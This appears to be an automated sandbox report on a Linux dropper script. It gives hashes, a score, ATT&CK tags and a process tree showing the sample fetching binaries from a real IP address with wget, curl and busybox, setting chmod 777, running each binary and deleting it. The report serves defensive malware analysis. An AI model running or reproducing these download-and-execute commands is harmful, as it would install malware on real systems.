5c80f607d8668d847d0bf165dbbb8aa955949172c50a2f29b39f7c0cdeac4f19

Analysis

max time kernel
27s
max time network
29s
platform
debian-9_armhf
resource
debian9-armhf-20240729-en
resource tags

arch:armhfimage:debian9-armhf-20240729-enkernel:4.9.0-13-armmp-lpaelocale:en-usos:debian-9-armhfsystem
submitted
22/11/2024, 02:30

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
5c80f607d8668d847d0bf165dbbb8aa955949172c50a2f29b39f7c0cdeac4f19.sh
Size 10KB
Sample241122-cy78bsyman
SHA256 5c80f607d8668d847d0bf165dbbb8aa955949172c50a2f29b39f7c0cdeac4f19
MD5 3ac2e34766d1f70ff396762f58c182ac
SHA1 7e4d2a118daeb989734873e2e92bf03e9d25b157
SHA512 ffd8e5d55931ba655760ea50d52d3cebadbadf55fb4426d57d2ea88127184add916e563d4814e732df4980fb3c0100b7b017970b2b6ecf8cba99ca458e20f89f
SSDEEP 192:Lw/YEnv3qWjiK2wJpAzn1TQAGK2wJpazn1TQAonv3qWv:Lw/YEnv3qWjiK2wJpAzn1TQAGK2wJpao
MD5 SHA1 SHA512 SSDEEP

Score

7^/10

antivm defense_evasion discovery

Malware Config

Signatures

File and Directory Permissions Modification 1 TTPs 21 IoCs

Adversaries may modify file or directory permissions to evade defenses.

defense_evasion

Linux and Mac File and Directory Permissions Modification

T1222.002

pid	Process
748	chmod
856	chmod
862	chmod
889	chmod
776	chmod
824	chmod
832	chmod
844	chmod
850	chmod
875	chmod
685	chmod
811	chmod
818	chmod
838	chmod
868	chmod
707	chmod
735	chmod
792	chmod
799	chmod
805	chmod
882	chmod

Executes dropped EXE 21 IoCs

Checks CPU configuration 1 TTPs 21 IoCs

Checks CPU information which indicate if the system is a virtual machine.

antivm

System Checks

T1497.001

description	ioc	Process
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl

Reads runtime system information 42 IoCs

Reads data from /proc virtual filesystem.

discovery

description	ioc	Process
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl

Writes file to tmp directory 21 IoCs

Malware often drops required files in the /tmp directory.

description	ioc	Process
File opened for modification	/tmp/YNvJp06lMns3pzYeR0mHP1LZpgBZy20M3O	curl
File opened for modification	/tmp/EDXq9QO2H36q1NLq4b3sHx2cdJ1orCOMzn	curl
File opened for modification	/tmp/PtBaFeWAKtQAAcRG2vii4G5wbkorU5YlQa	curl
File opened for modification	/tmp/FpXVAafXBm72J4SxspUiJafBZymFJomITC	curl
File opened for modification	/tmp/bYYjfJDtDx5ucZ3I79gjd2Wp0s5aAjAIF1	curl
File opened for modification	/tmp/SAjOLsPJ0MvDR1vLpVjGm4x5dWKMbA0wUc	curl
File opened for modification	/tmp/2BMB1TxTaSdnUB03cQZsqeIjob49T7RCzo	curl
File opened for modification	/tmp/6WuWQlFaAtpRdxhmKIh63gLnoErdNcu0Rh	curl
File opened for modification	/tmp/2oixY0XU0ZaEKXt8iWujvG83hFHuwGTAKE	curl
File opened for modification	/tmp/w7EZ5fU3ak3cTmoYsA7MOHlCPpX78Qhus0	curl
File opened for modification	/tmp/2oixY0XU0ZaEKXt8iWujvG83hFHuwGTAKE	curl
File opened for modification	/tmp/ZDoHsAE5ywQnGFpbnSznDI9DE0ecaVqup8	curl
File opened for modification	/tmp/6WuWQlFaAtpRdxhmKIh63gLnoErdNcu0Rh	curl
File opened for modification	/tmp/UBRTlEFaj3De55i1rtrQFpUKOBAD0eAYNo	curl
File opened for modification	/tmp/bYYjfJDtDx5ucZ3I79gjd2Wp0s5aAjAIF1	curl
File opened for modification	/tmp/kpkmgj6mpoYV9xOeai9Jaw9Y6y5Ck0C8Vd	curl
File opened for modification	/tmp/SAjOLsPJ0MvDR1vLpVjGm4x5dWKMbA0wUc	curl
File opened for modification	/tmp/4yWshDUEGJcWvukLHUCei2M7mgCHgEAW5N	curl
File opened for modification	/tmp/UBRTlEFaj3De55i1rtrQFpUKOBAD0eAYNo	curl
File opened for modification	/tmp/w7EZ5fU3ak3cTmoYsA7MOHlCPpX78Qhus0	curl
File opened for modification	/tmp/4yWshDUEGJcWvukLHUCei2M7mgCHgEAW5N	curl

/tmp/5c80f607d8668d847d0bf165dbbb8aa955949172c50a2f29b39f7c0cdeac4f19.sh
/tmp/5c80f607d8668d847d0bf165dbbb8aa955949172c50a2f29b39f7c0cdeac4f19.sh
1⤵
PID:652
- /bin/rm
  /bin/rm bins.sh
  2⤵
  PID:654
- /usr/bin/wget
  wget http://216.126.231.240/bins/bYYjfJDtDx5ucZ3I79gjd2Wp0s5aAjAIF1
  2⤵
  PID:659
- /usr/bin/curl
  curl -O http://216.126.231.240/bins/bYYjfJDtDx5ucZ3I79gjd2Wp0s5aAjAIF1
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:680
- /bin/busybox
  /bin/busybox wget http://216.126.231.240/bins/bYYjfJDtDx5ucZ3I79gjd2Wp0s5aAjAIF1
  2⤵
  PID:684
- /bin/chmod
  chmod 777 bYYjfJDtDx5ucZ3I79gjd2Wp0s5aAjAIF1
  2⤵
  - File and Directory Permissions Modification
  PID:685
- /tmp/bYYjfJDtDx5ucZ3I79gjd2Wp0s5aAjAIF1
  ./bYYjfJDtDx5ucZ3I79gjd2Wp0s5aAjAIF1
  2⤵
  - Executes dropped EXE
  PID:686
- /bin/rm
  rm bYYjfJDtDx5ucZ3I79gjd2Wp0s5aAjAIF1
  2⤵
  PID:687
- /usr/bin/wget
  wget http://216.126.231.240/bins/4yWshDUEGJcWvukLHUCei2M7mgCHgEAW5N
  2⤵
  PID:688
- /usr/bin/curl
  curl -O http://216.126.231.240/bins/4yWshDUEGJcWvukLHUCei2M7mgCHgEAW5N
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:693
- /bin/busybox
  /bin/busybox wget http://216.126.231.240/bins/4yWshDUEGJcWvukLHUCei2M7mgCHgEAW5N
  2⤵
  PID:700
- /bin/chmod
  chmod 777 4yWshDUEGJcWvukLHUCei2M7mgCHgEAW5N
  2⤵
  - File and Directory Permissions Modification
  PID:707
- /tmp/4yWshDUEGJcWvukLHUCei2M7mgCHgEAW5N
  ./4yWshDUEGJcWvukLHUCei2M7mgCHgEAW5N
  2⤵
  - Executes dropped EXE
  PID:708
- /bin/rm
  rm 4yWshDUEGJcWvukLHUCei2M7mgCHgEAW5N
  2⤵
  PID:709
- /usr/bin/wget
  wget http://216.126.231.240/bins/SAjOLsPJ0MvDR1vLpVjGm4x5dWKMbA0wUc
  2⤵
  PID:710
- /usr/bin/curl
  curl -O http://216.126.231.240/bins/SAjOLsPJ0MvDR1vLpVjGm4x5dWKMbA0wUc
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:717
- /bin/busybox
  /bin/busybox wget http://216.126.231.240/bins/SAjOLsPJ0MvDR1vLpVjGm4x5dWKMbA0wUc
  2⤵
  PID:727
- /bin/chmod
  chmod 777 SAjOLsPJ0MvDR1vLpVjGm4x5dWKMbA0wUc
  2⤵
  - File and Directory Permissions Modification
  PID:735
- /tmp/SAjOLsPJ0MvDR1vLpVjGm4x5dWKMbA0wUc
  ./SAjOLsPJ0MvDR1vLpVjGm4x5dWKMbA0wUc
  2⤵
  - Executes dropped EXE
  PID:738
- /bin/rm
  rm SAjOLsPJ0MvDR1vLpVjGm4x5dWKMbA0wUc
  2⤵
  PID:739
- /usr/bin/wget
  wget http://216.126.231.240/bins/2oixY0XU0ZaEKXt8iWujvG83hFHuwGTAKE
  2⤵
  PID:740
- /usr/bin/curl
  curl -O http://216.126.231.240/bins/2oixY0XU0ZaEKXt8iWujvG83hFHuwGTAKE
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:746
- /bin/busybox
  /bin/busybox wget http://216.126.231.240/bins/2oixY0XU0ZaEKXt8iWujvG83hFHuwGTAKE
  2⤵
  PID:747
- /bin/chmod
  chmod 777 2oixY0XU0ZaEKXt8iWujvG83hFHuwGTAKE
  2⤵
  - File and Directory Permissions Modification
  PID:748
- /tmp/2oixY0XU0ZaEKXt8iWujvG83hFHuwGTAKE
  ./2oixY0XU0ZaEKXt8iWujvG83hFHuwGTAKE
  2⤵
  - Executes dropped EXE
  PID:749
- /bin/rm
  rm 2oixY0XU0ZaEKXt8iWujvG83hFHuwGTAKE
  2⤵
  PID:753
- /usr/bin/wget
  wget http://216.126.231.240/bins/ZDoHsAE5ywQnGFpbnSznDI9DE0ecaVqup8
  2⤵
  PID:754
- /usr/bin/curl
  curl -O http://216.126.231.240/bins/ZDoHsAE5ywQnGFpbnSznDI9DE0ecaVqup8
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:761
- /bin/busybox
  /bin/busybox wget http://216.126.231.240/bins/ZDoHsAE5ywQnGFpbnSznDI9DE0ecaVqup8
  2⤵
  PID:769
- /bin/chmod
  chmod 777 ZDoHsAE5ywQnGFpbnSznDI9DE0ecaVqup8
  2⤵
  - File and Directory Permissions Modification
  PID:776
- /tmp/ZDoHsAE5ywQnGFpbnSznDI9DE0ecaVqup8
  ./ZDoHsAE5ywQnGFpbnSznDI9DE0ecaVqup8
  2⤵
  - Executes dropped EXE
  PID:778
- /bin/rm
  rm ZDoHsAE5ywQnGFpbnSznDI9DE0ecaVqup8
  2⤵
  PID:780
- /usr/bin/wget
  wget http://216.126.231.240/bins/6WuWQlFaAtpRdxhmKIh63gLnoErdNcu0Rh
  2⤵
  PID:781
- /usr/bin/curl
  curl -O http://216.126.231.240/bins/6WuWQlFaAtpRdxhmKIh63gLnoErdNcu0Rh
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:789
- /bin/busybox
  /bin/busybox wget http://216.126.231.240/bins/6WuWQlFaAtpRdxhmKIh63gLnoErdNcu0Rh
  2⤵
  PID:791
- /bin/chmod
  chmod 777 6WuWQlFaAtpRdxhmKIh63gLnoErdNcu0Rh
  2⤵
  - File and Directory Permissions Modification
  PID:792
- /tmp/6WuWQlFaAtpRdxhmKIh63gLnoErdNcu0Rh
  ./6WuWQlFaAtpRdxhmKIh63gLnoErdNcu0Rh
  2⤵
  - Executes dropped EXE
  PID:793
- /bin/rm
  rm 6WuWQlFaAtpRdxhmKIh63gLnoErdNcu0Rh
  2⤵
  PID:795
- /usr/bin/wget
  wget http://216.126.231.240/bins/UBRTlEFaj3De55i1rtrQFpUKOBAD0eAYNo
  2⤵
  PID:796
- /usr/bin/curl
  curl -O http://216.126.231.240/bins/UBRTlEFaj3De55i1rtrQFpUKOBAD0eAYNo
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:797
- /bin/busybox
  /bin/busybox wget http://216.126.231.240/bins/UBRTlEFaj3De55i1rtrQFpUKOBAD0eAYNo
  2⤵
  PID:798
- /bin/chmod
  chmod 777 UBRTlEFaj3De55i1rtrQFpUKOBAD0eAYNo
  2⤵
  - File and Directory Permissions Modification
  PID:799
- /tmp/UBRTlEFaj3De55i1rtrQFpUKOBAD0eAYNo
  ./UBRTlEFaj3De55i1rtrQFpUKOBAD0eAYNo
  2⤵
  - Executes dropped EXE
  PID:800
- /bin/rm
  rm UBRTlEFaj3De55i1rtrQFpUKOBAD0eAYNo
  2⤵
  PID:801
- /usr/bin/wget
  wget http://216.126.231.240/bins/w7EZ5fU3ak3cTmoYsA7MOHlCPpX78Qhus0
  2⤵
  PID:802
- /usr/bin/curl
  curl -O http://216.126.231.240/bins/w7EZ5fU3ak3cTmoYsA7MOHlCPpX78Qhus0
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:803
- /bin/busybox
  /bin/busybox wget http://216.126.231.240/bins/w7EZ5fU3ak3cTmoYsA7MOHlCPpX78Qhus0
  2⤵
  PID:804
- /bin/chmod
  chmod 777 w7EZ5fU3ak3cTmoYsA7MOHlCPpX78Qhus0
  2⤵
  - File and Directory Permissions Modification
  PID:805
- /tmp/w7EZ5fU3ak3cTmoYsA7MOHlCPpX78Qhus0
  ./w7EZ5fU3ak3cTmoYsA7MOHlCPpX78Qhus0
  2⤵
  - Executes dropped EXE
  PID:806
- /bin/rm
  rm w7EZ5fU3ak3cTmoYsA7MOHlCPpX78Qhus0
  2⤵
  PID:807
- /usr/bin/wget
  wget http://216.126.231.240/bins/YNvJp06lMns3pzYeR0mHP1LZpgBZy20M3O
  2⤵
  PID:808
- /usr/bin/curl
  curl -O http://216.126.231.240/bins/YNvJp06lMns3pzYeR0mHP1LZpgBZy20M3O
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:809
- /bin/busybox
  /bin/busybox wget http://216.126.231.240/bins/YNvJp06lMns3pzYeR0mHP1LZpgBZy20M3O
  2⤵
  PID:810
- /bin/chmod
  chmod 777 YNvJp06lMns3pzYeR0mHP1LZpgBZy20M3O
  2⤵
  - File and Directory Permissions Modification
  PID:811
- /tmp/YNvJp06lMns3pzYeR0mHP1LZpgBZy20M3O
  ./YNvJp06lMns3pzYeR0mHP1LZpgBZy20M3O
  2⤵
  - Executes dropped EXE
  PID:812
- /bin/rm
  rm YNvJp06lMns3pzYeR0mHP1LZpgBZy20M3O
  2⤵
  PID:814
- /usr/bin/wget
  wget http://216.126.231.240/bins/kpkmgj6mpoYV9xOeai9Jaw9Y6y5Ck0C8Vd
  2⤵
  PID:815
- /usr/bin/curl
  curl -O http://216.126.231.240/bins/kpkmgj6mpoYV9xOeai9Jaw9Y6y5Ck0C8Vd
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:816
- /bin/busybox
  /bin/busybox wget http://216.126.231.240/bins/kpkmgj6mpoYV9xOeai9Jaw9Y6y5Ck0C8Vd
  2⤵
  PID:817
- /bin/chmod
  chmod 777 kpkmgj6mpoYV9xOeai9Jaw9Y6y5Ck0C8Vd
  2⤵
  - File and Directory Permissions Modification
  PID:818
- /tmp/kpkmgj6mpoYV9xOeai9Jaw9Y6y5Ck0C8Vd
  ./kpkmgj6mpoYV9xOeai9Jaw9Y6y5Ck0C8Vd
  2⤵
  - Executes dropped EXE
  PID:819
- /bin/rm
  rm kpkmgj6mpoYV9xOeai9Jaw9Y6y5Ck0C8Vd
  2⤵
  PID:820
- /usr/bin/wget
  wget http://216.126.231.240/bins/EDXq9QO2H36q1NLq4b3sHx2cdJ1orCOMzn
  2⤵
  PID:821
- /usr/bin/curl
  curl -O http://216.126.231.240/bins/EDXq9QO2H36q1NLq4b3sHx2cdJ1orCOMzn
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:822
- /bin/busybox
  /bin/busybox wget http://216.126.231.240/bins/EDXq9QO2H36q1NLq4b3sHx2cdJ1orCOMzn
  2⤵
  PID:823
- /bin/chmod
  chmod 777 EDXq9QO2H36q1NLq4b3sHx2cdJ1orCOMzn
  2⤵
  - File and Directory Permissions Modification
  PID:824
- /tmp/EDXq9QO2H36q1NLq4b3sHx2cdJ1orCOMzn
  ./EDXq9QO2H36q1NLq4b3sHx2cdJ1orCOMzn
  2⤵
  - Executes dropped EXE
  PID:825
- /bin/rm
  rm EDXq9QO2H36q1NLq4b3sHx2cdJ1orCOMzn
  2⤵
  PID:826
- /usr/bin/wget
  wget http://216.126.231.240/bins/PtBaFeWAKtQAAcRG2vii4G5wbkorU5YlQa
  2⤵
  PID:827
- /usr/bin/curl
  curl -O http://216.126.231.240/bins/PtBaFeWAKtQAAcRG2vii4G5wbkorU5YlQa
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:830
- /bin/busybox
  /bin/busybox wget http://216.126.231.240/bins/PtBaFeWAKtQAAcRG2vii4G5wbkorU5YlQa
  2⤵
  PID:831
- /bin/chmod
  chmod 777 PtBaFeWAKtQAAcRG2vii4G5wbkorU5YlQa
  2⤵
  - File and Directory Permissions Modification
  PID:832
- /tmp/PtBaFeWAKtQAAcRG2vii4G5wbkorU5YlQa
  ./PtBaFeWAKtQAAcRG2vii4G5wbkorU5YlQa
  2⤵
  - Executes dropped EXE
  PID:833
- /bin/rm
  rm PtBaFeWAKtQAAcRG2vii4G5wbkorU5YlQa
  2⤵
  PID:834
- /usr/bin/wget
  wget http://216.126.231.240/bins/FpXVAafXBm72J4SxspUiJafBZymFJomITC
  2⤵
  PID:835
- /usr/bin/curl
  curl -O http://216.126.231.240/bins/FpXVAafXBm72J4SxspUiJafBZymFJomITC
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:836
- /bin/busybox
  /bin/busybox wget http://216.126.231.240/bins/FpXVAafXBm72J4SxspUiJafBZymFJomITC
  2⤵
  PID:837
- /bin/chmod
  chmod 777 FpXVAafXBm72J4SxspUiJafBZymFJomITC
  2⤵
  - File and Directory Permissions Modification
  PID:838
- /tmp/FpXVAafXBm72J4SxspUiJafBZymFJomITC
  ./FpXVAafXBm72J4SxspUiJafBZymFJomITC
  2⤵
  - Executes dropped EXE
  PID:839
- /bin/rm
  rm FpXVAafXBm72J4SxspUiJafBZymFJomITC
  2⤵
  PID:840
- /usr/bin/wget
  wget http://216.126.231.240/bins/2BMB1TxTaSdnUB03cQZsqeIjob49T7RCzo
  2⤵
  PID:841
- /usr/bin/curl
  curl -O http://216.126.231.240/bins/2BMB1TxTaSdnUB03cQZsqeIjob49T7RCzo
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:842
- /bin/busybox
  /bin/busybox wget http://216.126.231.240/bins/2BMB1TxTaSdnUB03cQZsqeIjob49T7RCzo
  2⤵
  PID:843
- /bin/chmod
  chmod 777 2BMB1TxTaSdnUB03cQZsqeIjob49T7RCzo
  2⤵
  - File and Directory Permissions Modification
  PID:844
- /tmp/2BMB1TxTaSdnUB03cQZsqeIjob49T7RCzo
  ./2BMB1TxTaSdnUB03cQZsqeIjob49T7RCzo
  2⤵
  - Executes dropped EXE
  PID:845
- /bin/rm
  rm 2BMB1TxTaSdnUB03cQZsqeIjob49T7RCzo
  2⤵
  PID:846
- /usr/bin/wget
  wget http://216.126.231.240/bins/SAjOLsPJ0MvDR1vLpVjGm4x5dWKMbA0wUc
  2⤵
  PID:847
- /usr/bin/curl
  curl -O http://216.126.231.240/bins/SAjOLsPJ0MvDR1vLpVjGm4x5dWKMbA0wUc
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:848
- /bin/busybox
  /bin/busybox wget http://216.126.231.240/bins/SAjOLsPJ0MvDR1vLpVjGm4x5dWKMbA0wUc
  2⤵
  PID:849
- /bin/chmod
  chmod 777 SAjOLsPJ0MvDR1vLpVjGm4x5dWKMbA0wUc
  2⤵
  - File and Directory Permissions Modification
  PID:850
- /tmp/SAjOLsPJ0MvDR1vLpVjGm4x5dWKMbA0wUc
  ./SAjOLsPJ0MvDR1vLpVjGm4x5dWKMbA0wUc
  2⤵
  - Executes dropped EXE
  PID:851
- /bin/rm
  rm SAjOLsPJ0MvDR1vLpVjGm4x5dWKMbA0wUc
  2⤵
  PID:852
- /usr/bin/wget
  wget http://216.126.231.240/bins/bYYjfJDtDx5ucZ3I79gjd2Wp0s5aAjAIF1
  2⤵
  PID:853
- /usr/bin/curl
  curl -O http://216.126.231.240/bins/bYYjfJDtDx5ucZ3I79gjd2Wp0s5aAjAIF1
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:854
- /bin/busybox
  /bin/busybox wget http://216.126.231.240/bins/bYYjfJDtDx5ucZ3I79gjd2Wp0s5aAjAIF1
  2⤵
  PID:855
- /bin/chmod
  chmod 777 bYYjfJDtDx5ucZ3I79gjd2Wp0s5aAjAIF1
  2⤵
  - File and Directory Permissions Modification
  PID:856
- /tmp/bYYjfJDtDx5ucZ3I79gjd2Wp0s5aAjAIF1
  ./bYYjfJDtDx5ucZ3I79gjd2Wp0s5aAjAIF1
  2⤵
  - Executes dropped EXE
  PID:857
- /bin/rm
  rm bYYjfJDtDx5ucZ3I79gjd2Wp0s5aAjAIF1
  2⤵
  PID:858
- /usr/bin/wget
  wget http://216.126.231.240/bins/4yWshDUEGJcWvukLHUCei2M7mgCHgEAW5N
  2⤵
  PID:859
- /usr/bin/curl
  curl -O http://216.126.231.240/bins/4yWshDUEGJcWvukLHUCei2M7mgCHgEAW5N
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:860
- /bin/busybox
  /bin/busybox wget http://216.126.231.240/bins/4yWshDUEGJcWvukLHUCei2M7mgCHgEAW5N
  2⤵
  PID:861
- /bin/chmod
  chmod 777 4yWshDUEGJcWvukLHUCei2M7mgCHgEAW5N
  2⤵
  - File and Directory Permissions Modification
  PID:862
- /tmp/4yWshDUEGJcWvukLHUCei2M7mgCHgEAW5N
  ./4yWshDUEGJcWvukLHUCei2M7mgCHgEAW5N
  2⤵
  - Executes dropped EXE
  PID:863
- /bin/rm
  rm 4yWshDUEGJcWvukLHUCei2M7mgCHgEAW5N
  2⤵
  PID:864
- /usr/bin/wget
  wget http://216.126.231.240/bins/6WuWQlFaAtpRdxhmKIh63gLnoErdNcu0Rh
  2⤵
  PID:865
- /usr/bin/curl
  curl -O http://216.126.231.240/bins/6WuWQlFaAtpRdxhmKIh63gLnoErdNcu0Rh
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:866
- /bin/busybox
  /bin/busybox wget http://216.126.231.240/bins/6WuWQlFaAtpRdxhmKIh63gLnoErdNcu0Rh
  2⤵
  PID:867
- /bin/chmod
  chmod 777 6WuWQlFaAtpRdxhmKIh63gLnoErdNcu0Rh
  2⤵
  - File and Directory Permissions Modification
  PID:868
- /tmp/6WuWQlFaAtpRdxhmKIh63gLnoErdNcu0Rh
  ./6WuWQlFaAtpRdxhmKIh63gLnoErdNcu0Rh
  2⤵
  - Executes dropped EXE
  PID:869
- /bin/rm
  rm 6WuWQlFaAtpRdxhmKIh63gLnoErdNcu0Rh
  2⤵
  PID:871
- /usr/bin/wget
  wget http://216.126.231.240/bins/UBRTlEFaj3De55i1rtrQFpUKOBAD0eAYNo
  2⤵
  PID:872
- /usr/bin/curl
  curl -O http://216.126.231.240/bins/UBRTlEFaj3De55i1rtrQFpUKOBAD0eAYNo
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:873
- /bin/busybox
  /bin/busybox wget http://216.126.231.240/bins/UBRTlEFaj3De55i1rtrQFpUKOBAD0eAYNo
  2⤵
  PID:874
- /bin/chmod
  chmod 777 UBRTlEFaj3De55i1rtrQFpUKOBAD0eAYNo
  2⤵
  - File and Directory Permissions Modification
  PID:875
- /tmp/UBRTlEFaj3De55i1rtrQFpUKOBAD0eAYNo
  ./UBRTlEFaj3De55i1rtrQFpUKOBAD0eAYNo
  2⤵
  - Executes dropped EXE
  PID:876
- /bin/rm
  rm UBRTlEFaj3De55i1rtrQFpUKOBAD0eAYNo
  2⤵
  PID:877
- /usr/bin/wget
  wget http://216.126.231.240/bins/w7EZ5fU3ak3cTmoYsA7MOHlCPpX78Qhus0
  2⤵
  PID:878
- /usr/bin/curl
  curl -O http://216.126.231.240/bins/w7EZ5fU3ak3cTmoYsA7MOHlCPpX78Qhus0
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:879
- /bin/busybox
  /bin/busybox wget http://216.126.231.240/bins/w7EZ5fU3ak3cTmoYsA7MOHlCPpX78Qhus0
  2⤵
  PID:880
- /bin/chmod
  chmod 777 w7EZ5fU3ak3cTmoYsA7MOHlCPpX78Qhus0
  2⤵
  - File and Directory Permissions Modification
  PID:882
- /tmp/w7EZ5fU3ak3cTmoYsA7MOHlCPpX78Qhus0
  ./w7EZ5fU3ak3cTmoYsA7MOHlCPpX78Qhus0
  2⤵
  - Executes dropped EXE
  PID:883
- /bin/rm
  rm w7EZ5fU3ak3cTmoYsA7MOHlCPpX78Qhus0
  2⤵
  PID:884
- /usr/bin/wget
  wget http://216.126.231.240/bins/2oixY0XU0ZaEKXt8iWujvG83hFHuwGTAKE
  2⤵
  PID:885
- /usr/bin/curl
  curl -O http://216.126.231.240/bins/2oixY0XU0ZaEKXt8iWujvG83hFHuwGTAKE
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:887
- /bin/busybox
  /bin/busybox wget http://216.126.231.240/bins/2oixY0XU0ZaEKXt8iWujvG83hFHuwGTAKE
  2⤵
  PID:888
- /bin/chmod
  chmod 777 2oixY0XU0ZaEKXt8iWujvG83hFHuwGTAKE
  2⤵
  - File and Directory Permissions Modification
  PID:889
- /tmp/2oixY0XU0ZaEKXt8iWujvG83hFHuwGTAKE
  ./2oixY0XU0ZaEKXt8iWujvG83hFHuwGTAKE
  2⤵
  - Executes dropped EXE
  PID:890
- /bin/rm
  rm 2oixY0XU0ZaEKXt8iWujvG83hFHuwGTAKE
  2⤵
  PID:892
- /usr/bin/wget
  wget http://216.126.231.240/bins/ZDoHsAE5ywQnGFpbnSznDI9DE0ecaVqup8
  2⤵
  PID:893

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

File and Directory Permissions Modification

T1222

Linux and Mac File and Directory Permissions Modification

T1222.002

Virtualization/Sandbox Evasion

T1497

System Checks

T1497.001

Credential Access

Discovery

Virtualization/Sandbox Evasion

T1497

System Checks

T1497.001

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

2oixY0XU0ZaEKXt8iWujvG83hFHuwGTAKE

Path /tmp/2oixY0XU0ZaEKXt8iWujvG83hFHuwGTAKE
Size 176B
SHA256 6de94db8afc535ef95ba6c6290317d20e50312c146186cb86a4210770c1a741e
MD5 e1732e70f015e99d14dff1eeeaec9966
SHA1 c28358cd15b9a0bea63c5b2ed0c9b8d5cb006113
SHA512 6ac4f83ce675f8a7855c18eea51c654f19e66bfa335a5125d06ceb4293ecef3a6a12a4e57809e9531dd13b83e1d591e476973e88094fa361c0847dbdeb5923a7
MD5 SHA1 SHA512

Submit Download

bYYjfJDtDx5ucZ3I79gjd2Wp0s5aAjAIF1

Path /tmp/bYYjfJDtDx5ucZ3I79gjd2Wp0s5aAjAIF1
Size 153B
SHA256 533a1ca5d6595793725bca7641d9461a0f00dd1732dded3e4281196f5dd21736
MD5 998368d7c95ea4293237f2320546e440
SHA1 30dfd2d3bb8a7e3241bd7792e90a98ebb70be3a4
SHA512 648c4720a85dbf834be1ba00f0e1b4167cc670fe15896efb00a77fb6e0c225a13aae3da10d85fa6e7f726420d9bb3c20c43466e02296d44153c127b7160e0b97
MD5 SHA1 SHA512

Submit Download

ioc	pid	Process
